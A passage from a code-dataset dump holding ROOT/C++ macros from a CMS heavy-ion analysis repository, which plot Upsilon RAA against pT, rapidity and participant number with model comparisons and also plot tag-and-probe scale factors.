c1->SaveAs(Form(\"dimuonDistribution_%s_Run%s_trigBit%d_allTriggers%d.pdf\",dataSource,runNumber,nTriggerBit,bAllTriggers));\n c1->SaveAs(Form(\"dimuonDistribution_%s_Run%s_trigBit%d_allTriggers%d.gif\",dataSource,runNumber,nTriggerBit,bAllTriggers));\n c1->Write();\n f1->Write();\n}\n\n\n" }, { "alpha_fraction": 0.5842048525810242, "alphanum_fraction": 0.6898064613342285, "avg_line_length": 34.8556022644043, "blob_id": "188068013d1f3b583ea809bdafbd4c1c9928c874", "content_id": "a9458a7e121d1d86ab8bd020167a002155b2b439", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 16638, "license_type": "no_license", "max_line_length": 119, "num_lines": 464, "path": "/plotting/Comparisons.C", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "// Root stuff\n#include \"TROOT.h\"\n#include \"TAxis.h\"\n#include \"TCanvas.h\"\n#include \"TDirectory.h\"\n#include \"TFile.h\"\n#include \"TLatex.h\"\n\n#include \"TMath.h\"\n#include \"TPaveLabel.h\"\n#include \"TPaveText.h\"\n#include \"TStyle.h\"\n#include \"TText.h\"\n\n#include \"data_raa2015.h\"\n#include \"systematics.C\"\n#include \"CMS_lumi.C\"\n#include \"tdrstyle.C\"\n// miscellaneous \n#include <fstream>\n#include <iostream>\n\nusing namespace std;\n\n\nconst TString basedir1 = \"~/Desktop/Figures\";\nconst TString basedir2 = \"/tmp\"; //\"~/Documents/PR/forTWiki/CSandRAA\"\n\n// colors\nColor_t color1Spp = kCyan+1;\nColor_t color2Spp = kCyan+2;\nColor_t color3Spp = kCyan+3;\nColor_t color1Saa = kGreen+2;\nColor_t color2Saa = kGreen+3;\nColor_t color3Saa = kGreen+4;\nColor_t color1Sraa = kOrange+1;\nColor_t color2Sraa = kOrange+4;\nColor_t color3Sraa = kOrange+3;\n \nconst ofstream ofSyst;\n\nconst float gTextSize = 0.04;\n\nvoid Comparisons()\n{\n float GreyBox = 0.132;\n float OrangeBox = 0.123;\n float RedBox = 0.137;\n\n float RAA_1S_npart[8]={1.14,0.761,0.567,0.513,0.447,0.415,0.383,0.31};\n float RAA_1S_nparte[8]={0.206,0.0775,0.0613,0.0445,0.0331,0.0261,0.0311,0.0276};\n float RAA_1S_npartsT[8]={0.341,0.159,0.133,0.103,0.0783,0.0745,0.0723,0.0631}; // tot syst=point+global\n float RAA_1S_nparts[8]={0.313,0.131,0.116,0.084,0.058,0.057,0.057,0.052}; // syst=point\n\n float RAA_2S_npart[8]={0.220,0.286,0.090,0.074};\n float RAA_2S_nparte[8]={0.145,0.077,0.042,0.044};\n float RAA_2S_npartsT[8]={0.116,0.105,0.055,0.039};\n float RAA_2S_nparts[8]={0.113,0.099,0.054,0.038};\n\n float nPart8Bins[8] ={8.75, 42.02, 86.23, 130.06, 187.35, 261.49, 329.48, 381.41};\n float nPart4Bins[4] ={22.06,108.19,224.30,355.79};\n\n float binding_3S=0.2; // based on a silly computation, 2M(B)-m(onia)\n float binding_2S=0.54;\n float binding_1S=1.1;\n\n float RAA_1S_pt[5]= {0.428,0.410,0.450,0.478,0.430};\n float RAA_1S_pte[5]={0.029,0.029,0.034,0.042,0.048};\n float RAA_1S_pts[5]={0.067,0.051,0.053,0.044,0.035};\n float RAA_1S_ptsT[5]={0.090,0.077,0.083,0.080,0.070};\n\n float RAA_1S_rap[6]={0.421,0.393,0.469,0.476,0.466,0.363};\n float RAA_1S_rape[6]={0.027,0.027,0.032,0.035,0.037,0.055};\n float RAA_1S_raps[6]={0.027,0.033,0.041,0.054,0.067,0.078};\n float RAA_1S_rapsT[6]={0.065,0.064,0.077,0.086,0.094,0.094};\n\n float RAA_2S_pt[3]= {0.082,0.066,0.141};\n float RAA_2S_pte[3]= {0.047,0.046,0.011};\n float RAA_2S_pts[3]= {0.018,0.011,0.025};\n float RAA_2S_ptsT[3]={0.018,0.011,0.025};\n\n float RAA_2S_rap[2]={0.113,0.135};\n float RAA_2S_rape[2]={0.034,0.049};\n float RAA_2S_raps[2]={0.034,0.073};\n float RAA_2S_rapsT[2]={0.034,0.073};\n\n // set the style\n setTDRStyle();\n\n TCanvas *cRaapt = new TCanvas(\"cRaapt\",\"cRaapt\"); \n cRaapt->cd();\n TF1 *f4RaaPt = new TF1(\"f4RaaPt\",\"1\",0,20);\n f4RaaPt->SetLineWidth(0);\n f4RaaPt->SetLineColor(kBlack);\n f4RaaPt->GetXaxis()->SetTitle(\"p_{T}^{#varUpsilon} (GeV/c)\");\n f4RaaPt->GetYaxis()->SetTitle(\"R_{AA}\");\n f4RaaPt->GetXaxis()->SetTitleOffset(f4RaaPt->GetXaxis()->GetTitleOffset()*1.3);\n f4RaaPt->GetXaxis()->SetTitleSize(0.045);\n f4RaaPt->GetYaxis()->SetRangeUser(0.,1.6);\n f4RaaPt->GetXaxis()->CenterTitle(kTRUE);\n f4RaaPt->Draw();\n TGraphErrors *gRaaPt1TNP = new TGraphErrors(nPtBins_2013,pt,RAA_1S_pt,0,RAA_1S_pte);\n gRaaPt1TNP->SetMarkerColor(color1Sraa);\n gRaaPt1TNP->SetMarkerStyle(21);\n gRaaPt1TNP->SetMarkerSize(1.2);\n TGraphErrors *gRaaPt1TNPcircle = new TGraphErrors(nPtBins_2013,pt,RAA_1S_pt,0,RAA_1S_pte);\n gRaaPt1TNPcircle->SetMarkerStyle(25);\n gRaaPt1TNPcircle->SetMarkerSize(1.2);\n gRaaPt1TNPcircle->SetLineColor(kBlack);\n gRaaPt1TNP->Draw(\"pe\");\n gRaaPt1TNPcircle->Draw(\"p\");\n f4RaaPt->Draw(\"same\");\n\n TGraphErrors *gRaaPt1syst = new TGraphErrors(nPtBins_2013,pt,RAA_1S_pt,pte,RAA_1S_pts);\n gRaaPt1syst->SetLineColor(color1Sraa);\n gRaaPt1syst->SetFillStyle(0);\n gRaaPt1syst->SetLineWidth(2);\n gRaaPt1syst->SetMarkerSize(0);\n gRaaPt1syst->Draw(\"2\");\n \n TGraphErrors *gRaaPt2TNP = new TGraphErrors(nPtBins_2010,pt2010,RAA_2S_pt,0,RAA_2S_pte);\n gRaaPt2TNP->SetMarkerColor(color2Sraa);\n gRaaPt2TNP->SetMarkerStyle(20);\n gRaaPt2TNP->SetMarkerSize(1.2);\n TGraphErrors *gRaaPt2TNPcircle = new TGraphErrors(nPtBins_2010,pt2010,RAA_2S_pt,0,RAA_2S_pte);\n gRaaPt2TNPcircle->SetMarkerStyle(24);\n gRaaPt2TNPcircle->SetMarkerSize(1.2);\n gRaaPt2TNPcircle->SetLineColor(kBlack);\n // gRaaPt2TNP->Draw(\"pe\");\n // gRaaPt2TNPcircle->Draw(\"p\");\n f4RaaPt->Draw(\"same\");\n TGraphErrors *gRaaPt2syst = new TGraphErrors(nPtBins_2010,pt2010,RAA_2S_pt,pt2010e,RAA_2S_pts);\n gRaaPt2syst->SetLineColor(color2Sraa);\n gRaaPt2syst->SetFillStyle(0);\n gRaaPt2syst->SetLineWidth(2);\n gRaaPt2syst->SetMarkerSize(0);\n // gRaaPt2syst->Draw(\"2\");\n\n float PT[6];\n float Raa_Y1Spt1[6], Raa_Y1Spt2[6], Raa_Y1Spt3[6];\n ifstream in_1Spt1, in_1Spt2, in_1Spt3;\n\n ////////\n //Strickland vs Pt.\n ///////\n\n in_1Spt1.open(\"strickland-y1pt-gaussian1.dat\");\n in_1Spt2.open(\"strickland-y1pt-gaussian2.dat\");\n in_1Spt3.open(\"strickland-y1pt-gaussian3.dat\");\n for (int i=0; i<6; i++) {\n in_1Spt1 >> PT[i] >> Raa_Y1Spt1[i];\n in_1Spt2 >> PT[i] >> Raa_Y1Spt2[i];\n in_1Spt3 >> PT[i] >> Raa_Y1Spt3[i];\n }\n pgStrickland_Ups1S_PT1 = new TGraph(6, PT, Raa_Y1Spt1);\n pgStrickland_Ups1S_PT1->SetLineWidth(2);\n pgStrickland_Ups1S_PT1->SetLineColor(kBlack);\n pgStrickland_Ups1S_PT1->SetLineStyle(1);\n pgStrickland_Ups1S_PT1->Draw(\"l same\");\n pgStrickland_Ups1S_PT2 = new TGraph(6, PT, Raa_Y1Spt2);\n pgStrickland_Ups1S_PT2->SetLineWidth(2);\n pgStrickland_Ups1S_PT2->SetLineColor(kBlack);\n pgStrickland_Ups1S_PT2->SetLineStyle(2);\n pgStrickland_Ups1S_PT2->Draw(\"l same\");\n pgStrickland_Ups1S_PT3 = new TGraph(6, PT, Raa_Y1Spt3);\n pgStrickland_Ups1S_PT3->SetLineWidth(2);\n pgStrickland_Ups1S_PT3->SetLineColor(kBlack);\n pgStrickland_Ups1S_PT3->SetLineStyle(3);\n pgStrickland_Ups1S_PT3->Draw(\"l same\");\n TBox *box = new TBox(19,1-GreyBox,20,1+GreyBox);\n box->SetFillColor(kGray);//color1Sraa);\n box->Draw();\n //Nucl.Phys. A879 (2012) 25-58\n TLegend *legend = new TLegend(0.65,0.68,0.8,0.77);\n legend->SetTextSize(gTextSize);\n legend->SetFillStyle(0);\n legend->SetFillColor(0);\n legend->SetBorderSize(0);\n legend->SetTextFont(42);\n legend->AddEntry(gRaaPt1TNP,\"#varUpsilon(1S)\",\"pe\");\n // legend->AddEntry(gRaaPt2TNP,\"#varUpsilon(2S)\",\"pe\");\n legend->Draw();\n TLegend *leg2= new TLegend(0.65,0.63,0.8,0.7);\n leg2->SetBorderSize(0);\n leg2->SetTextSize(0.036);\n leg2->SetTextFont(42);\n leg2->SetLineColor(0);\n leg2->SetLineStyle(1);\n leg2->SetLineWidth(0.4);\n leg2->SetFillColor(0);\n leg2->SetFillStyle(0);\n leg2->AddEntry(box,\"global syst.\",\"f\");\n leg3 = new TLegend(0.18,0.7,0.6,0.9);\n leg3->SetBorderSize(0);\n leg3->SetTextSize(0.036);\n leg3->SetTextFont(42);\n leg3->SetLineColor(0);\n leg3->SetLineStyle(1);\n leg3->SetLineWidth(0.4);\n leg3->SetFillColor(0);\n leg3->SetFillStyle(0);\n \n leg3->SetHeader(\"Nucl.Phys. A879 (2012) 25-58\"); // (arXiv:1106.2571)\n leg3->AddEntry(pgStrickland_Ups1S_PT3,\"#varUpsilon(1S), 4#pi#eta/s = 3\",\"L\");\n leg3->AddEntry(pgStrickland_Ups1S_PT2,\"#varUpsilon(1S), 4#pi#eta/s = 2\",\"L\");\n leg3->AddEntry(pgStrickland_Ups1S_PT1,\"#varUpsilon(1S), 4#pi#eta/s = 1\",\"L\");\n leg3->Draw();\n leg2->Draw();\n TLatex latexrap;\n latexrap.SetTextSize(gTextSize);\n latexrap.SetTextFont(42);\n latexrap.DrawLatex(10,0.15,\"Cent. 0-100%, |y| < 2.4\");\n gPad->RedrawAxis();\n cRaapt->cd();\n CMS_lumi(cRaapt,103,33);\n cRaapt->Update();\n cRaapt->RedrawAxis();\n cRaapt->GetFrame()->Draw();\n cRaapt->SaveAs(basedir1 + TString(\"/RAA_PT1S_Strickland.pdf\"));\n cRaapt->SaveAs(basedir1 + TString(\"/RAA_PT1S_Strickland.png\"));\n cRaapt->SaveAs(basedir2 + TString(\"/RAA_PT1S_Strickland.pdf\"));\n cRaapt->SaveAs(basedir2 + TString(\"/RAA_PT1S_Strickland.png\"));\n //////////\n //Strickland vs. rap\n /////////\n TCanvas *cRaarap = new TCanvas(\"cRaarap\",\"cRaarap\"); \n cRaarap->cd();\n TF1 *f4RaaRap = new TF1(\"f4RaaRap\",\"1\",0.0,2.4);\n f4RaaRap->SetLineWidth(0);\n f4RaaRap->SetLineColor(kBlack);\n f4RaaRap->GetXaxis()->SetTitle(\"|y|\");\n f4RaaRap->GetYaxis()->SetTitle(\"R_{AA}\");\n f4RaaRap->GetYaxis()->SetRangeUser(0.,1.6);\n f4RaaRap->GetXaxis()->CenterTitle(kTRUE);\n f4RaaRap->GetXaxis()->SetNdivisions(6,8,0,kFALSE);\n f4RaaRap->Draw();\n TGraphErrors *gRaaRap1syst = new TGraphErrors(nRapBins_2014,rap2014,RAA_1S_rap,rap2014e,RAA_1S_raps);\n gRaaRap1syst->SetLineColor(color1Sraa);\n gRaaRap1syst->SetFillStyle(0);\n gRaaRap1syst->SetLineWidth(2);\n gRaaRap1syst->SetMarkerSize(0);\n gRaaRap1syst->Draw(\"2\");\n TGraphErrors *gRaaRap1TNP = new TGraphErrors(nRapBins_2014,rap2014,RAA_1S_rap,0,RAA_1S_rape);\n gRaaRap1TNP->SetMarkerColor(color1Sraa);\n gRaaRap1TNP->SetMarkerStyle(21);\n gRaaRap1TNP->SetMarkerSize(1.2);\n TGraphErrors *gRaaRap1TNPcircle = new TGraphErrors(nRapBins_2014,rap2014,RAA_1S_rap,0,RAA_1S_rape);\n gRaaRap1TNPcircle->SetMarkerStyle(25);\n gRaaRap1TNPcircle->SetMarkerSize(1.2);\n gRaaRap1TNPcircle->SetLineColor(kBlack);\n gRaaRap1TNP->Draw(\"pe\");\n gRaaRap1TNPcircle->Draw(\"p\");\n f4RaaRap->Draw(\"same\");\n float RAP[61];\n float Raa_Y1Srap1[61], Raa_Y1Srap2[61], Raa_Y1Srap3[61];\n ifstream in_1Srap1, in_1Srap2, in_1Srap3;\n in_1Srap1.open(\"strickland-y1srap-gaussian1.dat\");\n in_1Srap2.open(\"strickland-y1srap-gaussian2.dat\");\n in_1Srap3.open(\"strickland-y1srap-gaussian3.dat\");\n for (int i=0; i<61; i++) {\n in_1Srap1 >> RAP[i] >> Raa_Y1Srap1[i];\n in_1Srap2 >> RAP[i] >> Raa_Y1Srap2[i];\n in_1Srap3 >> RAP[i] >> Raa_Y1Srap3[i];\n } \n pgStrickland_Ups1S_RAP1 = new TGraph(61, RAP, Raa_Y1Srap1);\n pgStrickland_Ups1S_RAP1->SetLineWidth(2);\n pgStrickland_Ups1S_RAP1->SetLineColor(kBlack);\n pgStrickland_Ups1S_RAP1->SetLineStyle(1);\n pgStrickland_Ups1S_RAP1->Draw(\"l same\");\n pgStrickland_Ups1S_RAP2 = new TGraph(61, RAP, Raa_Y1Srap2);\n pgStrickland_Ups1S_RAP2->SetLineWidth(2);\n pgStrickland_Ups1S_RAP2->SetLineColor(kBlack);\n pgStrickland_Ups1S_RAP2->SetLineStyle(2);\n pgStrickland_Ups1S_RAP2->Draw(\"l same\");\n pgStrickland_Ups1S_RAP3 = new TGraph(61, RAP, Raa_Y1Srap3);\n pgStrickland_Ups1S_RAP3->SetLineWidth(2);\n pgStrickland_Ups1S_RAP3->SetLineColor(kBlack);\n pgStrickland_Ups1S_RAP3->SetLineStyle(3);\n pgStrickland_Ups1S_RAP3->Draw(\"l same\");\n\n TBox *box = new TBox(2.27,1-GreyBox,2.4,1+GreyBox);\n box->SetFillColor(kGray);//color1Sraa);\n box->Draw();\n //Nucl.Phys. A879 (2012) 25-58\n TLegend *legend = new TLegend(0.65,0.68,0.8,0.77);\n legend->SetTextSize(gTextSize);\n legend->SetFillStyle(0);\n legend->SetFillColor(0);\n legend->SetBorderSize(0);\n legend->SetTextFont(42);\n legend->AddEntry(gRaaRap1TNP,\"#varUpsilon(1S)\",\"pe\");\n // legend->AddEntry(gRaaPt2TNP,\"#varUpsilon(2S)\",\"pe\");\n legend->Draw();\n TLegend *leg2= new TLegend(0.65,0.63,0.8,0.7);\n leg2->SetBorderSize(0);\n leg2->SetTextSize(0.036);\n leg2->SetTextFont(42);\n leg2->SetLineColor(0);\n leg2->SetLineStyle(1);\n leg2->SetLineWidth(0.4);\n leg2->SetFillColor(0);\n leg2->SetFillStyle(0);\n leg2->AddEntry(box,\"global syst.\",\"f\");\n leg3 = new TLegend(0.18,0.7,0.6,0.9);\n leg3->SetBorderSize(0);\n leg3->SetTextSize(0.036);\n leg3->SetTextFont(42);\n leg3->SetLineColor(0);\n leg3->SetLineStyle(1);\n leg3->SetLineWidth(0.4);\n leg3->SetFillColor(0);\n leg3->SetFillStyle(0);\n \nleg3->SetHeader(\"Nucl.Phys. A879 (2012) 25-58\"); // (arXiv:1106.2571)\nleg3->AddEntry(pgStrickland_Ups1S_RAP3,\"#varUpsilon(1S), 4#pi#eta/s = 3\",\"L\");\nleg3->AddEntry(pgStrickland_Ups1S_RAP2,\"#varUpsilon(1S), 4#pi#eta/s = 2\",\"L\");\nleg3->AddEntry(pgStrickland_Ups1S_RAP1,\"#varUpsilon(1S), 4#pi#eta/s = 1\",\"L\");\nleg3->Draw();\nleg2->Draw();\nTLatex latexrap;\nlatexrap.SetTextSize(gTextSize);\nlatexrap.SetTextFont(42);\nlatexrap.DrawLatex(1.6,0.15,\"Cent. 0-100%\");\ngPad->RedrawAxis();\ncRaarap->cd();\nCMS_lumi(cRaarap,103,33);\ncRaarap->Update();\ncRaarap->RedrawAxis();\ncRaarap->GetFrame()->Draw();\ncRaarap->SaveAs(basedir1 + TString(\"/RAA_RAP1S_Strickland.pdf\"));\ncRaarap->SaveAs(basedir1 + TString(\"/RAA_RAP1S_Strickland.png\"));\ncRaarap->SaveAs(basedir2 + TString(\"/RAA_RAP1S_Strickland.pdf\"));\ncRaarap->SaveAs(basedir2 + TString(\"/RAA_RAP1S_Strickland.png\"));\n\n ///////////\n //Strickland vs. nPart\n ///////////\n\nTCanvas *cRaanpart = new TCanvas(\"cRaanpart\", \"cRaanpart\",423,55,600,600);\n cRaanpart->cd();\n\n TF1 *f4 = new TF1(\"f4\",\"1\",0,400);\n f4->SetLineWidth(1);\n f4->GetYaxis()->SetRangeUser(0.0,1.6);\n f4->GetXaxis()->SetTitle(\"N_{Part}\");\n f4->GetXaxis()->CenterTitle(true);\n f4->GetYaxis()->SetTitle(\"R_{AA}\");\n f4->SetLineColor(kBlack);\n f4->Draw();\nTGraphErrors *gcent1syst = new TGraphErrors(nCentBins_2014,nPart2014,RAA_1S_npart,centErr2014,RAA_1S_nparts); //for fun\ngcent1syst->SetLineColor(color1Sraa);\ngcent1syst->SetFillStyle(0);\ngcent1syst->SetLineWidth(2);\ngcent1syst->SetMarkerSize(0);\ngcent1syst->Draw(\"2\");\nTGraphErrors *gcent1 = new TGraphErrors(nCentBins_2014,nPart2014,RAA_1S_npart,centnoErr,RAA_1S_nparte); //for fun\n\ngcent1->SetMarkerColor(color1Sraa);\ngcent1->SetMarkerStyle(21);\ngcent1->SetMarkerSize(1.2);\n\nTGraphErrors *gcent1circle = new TGraphErrors(nCentBins_2014,nPart2014,RAA_1S_npart,centnoErr,RAA_1S_nparte);\ngcent1circle->SetMarkerStyle(25);\ngcent1circle->SetMarkerSize(1.2);\ngcent1circle->SetLineColor(kBlack);\ngcent1->Draw(\"pe\");\ngcent1circle->Draw(\"p\");\nf4->Draw(\"same\");\ngPad->RedrawAxis();\n\n\n\nfloat NPART[101];\n float Raa_Y1Snpart1[101], Raa_Y1Snpart2[101], Raa_Y1Snpart3[101];\n ifstream in_1Snpart1, in_1Snpart2, in_1Snpart3;\n in_1Snpart1.open(\"Y1sFull-potb-eta1-npart.dat\");\n in_1Snpart2.open(\"Y1sFull-potb-eta2-npart.dat\");\n in_1Snpart3.open(\"Y1sFull-potb-eta3-npart.dat\");\n for (int i=0; i<101; i++) {\n in_1Snpart1 >> NPART[i] >> Raa_Y1Snpart1[i];\n in_1Snpart2 >> NPART[i] >> Raa_Y1Snpart2[i];\n in_1Snpart3 >> NPART[i] >> Raa_Y1Snpart3[i];\n } \n pgStrickland_Ups1S_NPART1 = new TGraph(101, NPART, Raa_Y1Snpart1);\n pgStrickland_Ups1S_NPART1->SetLineWidth(2);\n pgStrickland_Ups1S_NPART1->SetLineColor(kBlack);\n pgStrickland_Ups1S_NPART1->SetLineStyle(1);\n pgStrickland_Ups1S_NPART1->Draw(\"\");\n pgStrickland_Ups1S_NPART2 = new TGraph(101, NPART, Raa_Y1Snpart2);\n pgStrickland_Ups1S_NPART2->SetLineWidth(2);\n pgStrickland_Ups1S_NPART2->SetLineColor(kBlack);\n pgStrickland_Ups1S_NPART2->SetLineStyle(2);\n pgStrickland_Ups1S_NPART2->Draw(\"\");\n pgStrickland_Ups1S_NPART3 = new TGraph(101, NPART, Raa_Y1Snpart3);\n pgStrickland_Ups1S_NPART3->SetLineWidth(2);\n pgStrickland_Ups1S_NPART3->SetLineColor(kBlack);\n pgStrickland_Ups1S_NPART3->SetLineStyle(3);\n pgStrickland_Ups1S_NPART3->Draw(\"\");\n\n TBox *box1S = new TBox(385,1-OrangeBox,400,1+OrangeBox);\nbox1S->SetFillColor(color1Sraa);\nbox1S->Draw();\n //Nucl.Phys. A879 (2012) 25-58\n TLegend *legend = new TLegend(0.65,0.68,0.8,0.77);\n legend->SetTextSize(gTextSize);\n legend->SetFillStyle(0);\n legend->SetFillColor(0);\n legend->SetBorderSize(0);\n legend->SetTextFont(42);\n legend->AddEntry(gcent1,\"#varUpsilon(1S)\",\"pe\");\n // legend->AddEntry(gRaaPt2TNP,\"#varUpsilon(2S)\",\"pe\");\n legend->Draw();\n TLegend *leg2= new TLegend(0.65,0.63,0.8,0.7);\n leg2->SetBorderSize(0);\n leg2->SetTextSize(0.036);\n leg2->SetTextFont(42);\n leg2->SetLineColor(0);\n leg2->SetLineStyle(1);\n leg2->SetLineWidth(0.4);\n leg2->SetFillColor(0);\n leg2->SetFillStyle(0);\n leg2->AddEntry(box1S,\"global syst.\",\"f\");\n leg3 = new TLegend(0.2,0.7,0.6,0.9);\n leg3->SetBorderSize(0);\n leg3->SetTextSize(0.036);\n leg3->SetTextFont(42);\n leg3->SetLineColor(0);\n leg3->SetLineStyle(1);\n leg3->SetLineWidth(0.4);\n leg3->SetFillColor(0);\n leg3->SetFillStyle(0);\n \nleg3->SetHeader(\"Nucl.Phys. A879 (2012) 25-58\"); // (arXiv:1106.2571)\nleg3->AddEntry(pgStrickland_Ups1S_NPART3,\"#varUpsilon(1S), 4#pi#eta/s = 3\",\"L\");\nleg3->AddEntry(pgStrickland_Ups1S_NPART2,\"#varUpsilon(1S), 4#pi#eta/s = 2\",\"L\");\nleg3->AddEntry(pgStrickland_Ups1S_NPART1,\"#varUpsilon(1S), 4#pi#eta/s = 1\",\"L\");\nleg3->Draw();\nleg2->Draw();\n\n // |y| < 2.4\n TLatex latexrap;\n latexrap.SetTextSize(gTextSize);\n latexrap.SetTextFont(42);\n latexrap.DrawLatex(30,0.2,\"|y| < 2.4\");\n\n\ngPad->RedrawAxis();\ncRaanpart->cd();\nCMS_lumi(cRaanpart,103,33);\ncRaanpart->Update();\ncRaanpart->RedrawAxis();\ncRaanpart->GetFrame()->Draw();\ncRaanpart->SaveAs(basedir1 + TString(\"/RAA_NPART1S_Strickland.pdf\"));\ncRaanpart->SaveAs(basedir1 + TString(\"/RAA_NPART1S_Strickland.png\"));\ncRaanpart->SaveAs(basedir2 + TString(\"/RAA_NPART1S_Strickland.pdf\"));\ncRaanpart->SaveAs(basedir2 + TString(\"/RAA_NPART1S_Strickland.png\"));\n\n\n // TBox *box2S = new TBox(385,1-syst2S_pp_centGlob4,400,1+syst2S_pp_centGlob4);\n // box2S->SetFillColor(color2Sraa);\n // box2S->Draw();\n // cout << \"Syst2S_pp_cent_glob = \" << syst2S_pp_centGlob4 << endl;\n\n}\n\n" }, { "alpha_fraction": 0.5780399441719055, "alphanum_fraction": 0.6297640800476074, "avg_line_length": 54.04999923706055, "blob_id": "1d5de0972213dad662e0a821f4e4783a4b788bae", "content_id": "c892c4a9d1697570e51fb3fb8fda5267a0a62782", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1102, "license_type": "no_license", "max_line_length": 97, "num_lines": 20, "path": "/plotting/MinBiasRAA.cpp", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "\nvoid MinBiasRAA ()\n{\n Upsilon Y1S_pp_tot, Y1S_aa_tot, R1S_aa_tot, R1S_aa_tote;\n float CS1S_pp_tot, CS1S_aa_tot, RAA_1S_tot, CS1S_pp_tote, CS1S_aa_tote, RAA_1S_tote;\n Y1S_pp_tot.SetVariables (N1S_pp_tot3p5, Aet_1S_pythia_tot);\n Y1S_pp_tot.SetErrors (N1S_pp_tot3p5e, Aet_1S_pythia_tote);\n Y1S_aa_tot.SetErrors (N1S_aa_tot3p5e, Aet_1S_pyquen_tote);\n Y1S_aa_tot.SetVariables (N1S_aa_tot3p5, Aet_1S_pyquen_tot) ;\n CS1S_pp_tot = Y1S_pp_tot.Ratio()/L_pp_invNb;\n CS1S_aa_tot = Y1S_aa_tot.Ratio()/(N_MB_corr*T_AA_b);\n CS1S_aa_tote = Y1S_aa_tot.RatioError()/L_pp_invNb;\n CS1S_pp_tote = Y1S_pp_tot.RatioError()/(N_MB_corr*T_AA_b);\n cout << \"total CS1S_pp= \" << Y1S_pp_tot.Ratio() << \" +/- \" << Y1S_pp_tot.RatioError() << endl;\n cout << \"total CS1S_aa= \" << Y1S_aa_tot.Ratio() << \" +/- \" << Y1S_aa_tot.RatioError() << endl;\n R1S_aa_tot.SetVariables(CS1S_aa_tot,CS1S_pp_tot);\n RAA_1S_tot = R1S_aa_tot.Ratio();\n R1S_aa_tot.SetErrors(CS1S_aa_tote,CS1S_pp_tote);\n RAA_1S_tote = R1S_aa_tot.RatioError();\n cout<< \" uncorrected RAA (1S) = \" <<RAA_1S_tot << \" +/- \" << RAA_1S_tote << endl;\n}\n" }, { "alpha_fraction": 0.5265012979507446, "alphanum_fraction": 0.5723146200180054, "avg_line_length": 35.56700897216797, "blob_id": "b210c7293a5f5597ef76f6c28fda9d36f7ace009", "content_id": "a91977c6f973c2677db8d5053755ad034b0f8cce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 7094, "license_type": "no_license", "max_line_length": 127, "num_lines": 194, "path": "/acceptance_efficiency/plotSFs.C", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#include \"tnp_weight.h\"\n#include \"TF1.h\"\n#include \"TLegend.h\"\n#include \"TH1.h\"\n#include \"TCanvas.h\"\n\nDouble_t tnp_weight_muidtrg_pbpb_wrapper(Double_t *x, Double_t *par) {\n return tnp_weight_muidtrg_pbpb(x[0],par[0],par[1]);\n}\nDouble_t tnp_weight_muidtrg_pp_wrapper(Double_t *x, Double_t *par) {\n return tnp_weight_muidtrg_pp(x[0],par[0],par[1]);\n}\nDouble_t tnp_weight_sta_pbpb_wrapper(Double_t *x, Double_t *par) {\n return tnp_weight_sta_pbpb(x[0],par[0],par[1]);\n}\nDouble_t tnp_weight_sta_pp_wrapper(Double_t *x, Double_t *par) {\n return tnp_weight_sta_pp(x[0],par[0],par[1]);\n}\n\nfloat ptmin(float etamax) {\n float ans=0;\n if (etamax<1.) ans = 3.4;\n else if (etamax<1.5) ans = 5.8-2.4*etamax;\n else ans = 3.36667 - (7./9.)*etamax;\n ans = (int) (ans*10.);\n ans = ans/10.;\n return ans;\n}\n\nvoid plotSFs() {\n TCanvas *c1 = new TCanvas();\n TH1F *haxes = new TH1F(\"haxes\",\";p_{T} [GeV/c];Scale factor\",1,0,30);\n\n float *etamin=NULL, *etamax=NULL;\n float eta, ptminval;\n\n // muidtrg, pbpb\n etamin = new float[4]; etamin[0]=0.; etamin[1]=0.9; etamin[2]=1.6; etamin[3]=2.1;\n etamax = new float[4]; etamax[0]=0.9; etamax[1]=1.6; etamax[2]=2.1; etamax[3] = 2.4;\n\n for (int i=0; i<4; i++) {\n haxes->GetYaxis()->SetRangeUser(0.5,1.5);\n haxes->Draw();\n\n TLegend *tleg = new TLegend(0.53,0.16,0.91,0.41);\n tleg->SetBorderSize(0);\n\n eta = (etamax[i]+etamin[i])/2.;\n ptminval = ptmin(etamax[i]);\n for (int i=1; i<=100; i++) {\n TF1 *fnom = new TF1(Form(\"f%i\",i),tnp_weight_muidtrg_pbpb_wrapper,ptminval,30,2);\n fnom->SetParameters(eta,i);\n fnom->SetLineColor(kBlack);\n fnom->Draw(\"same\");\n }\n TF1 *fp = new TF1(\"fp\",tnp_weight_muidtrg_pbpb_wrapper,ptminval,30,2);\n fp->SetParameters(eta,-1);\n fp->SetLineColor(kCyan);\n fp->Draw(\"same\");\n TF1 *fm = new TF1(\"fm\",tnp_weight_muidtrg_pbpb_wrapper,ptminval,30,2);\n fm->SetParameters(eta,-2);\n fm->SetLineColor(kCyan);\n fm->Draw(\"same\");\n TF1 *fnom = new TF1(\"fnom\",tnp_weight_muidtrg_pbpb_wrapper,ptminval,30,2);\n fnom->SetParameters(eta,0);\n fnom->SetLineColor(kRed);\n fnom->Draw(\"same\");\n\n tleg->SetHeader(Form(\"#splitline{PbPb, MuId+Trg}{#eta #in [%.1f,%.1f], p_{T}>%.1f GeV/c}\",etamin[i],etamax[i],ptminval));\n tleg->AddEntry(fnom,\"Nominal\",\"l\");\n tleg->AddEntry(\"f1\",\"stat (100 toys)\",\"l\");\n tleg->AddEntry(fp,\"syst (+/1#sigma)\",\"l\");\n tleg->Draw();\n c1->SaveAs(Form(\"tnp_muidtrg_pbpb_eta%.1f-%.1f.pdf\",etamin[i],etamax[i]));\n c1->SaveAs(Form(\"tnp_muidtrg_pbpb_eta%.1f-%.1f.png\",etamin[i],etamax[i]));\n }\n\n // muidtrg, pp\n for (int i=0; i<4; i++) {\n haxes->GetYaxis()->SetRangeUser(0.5,1.5);\n haxes->Draw();\n\n TLegend *tleg = new TLegend(0.53,0.16,0.91,0.41);\n tleg->SetBorderSize(0);\n\n eta = (etamax[i]+etamin[i])/2.;\n ptminval = ptmin(etamax[i]);\n for (int i=1; i<=100; i++) {\n TF1 *fnom = new TF1(Form(\"f%i\",i),tnp_weight_muidtrg_pp_wrapper,ptminval,30,2);\n fnom->SetParameters(eta,i);\n fnom->SetLineColor(kBlack);\n fnom->Draw(\"same\");\n }\n TF1 *fp = new 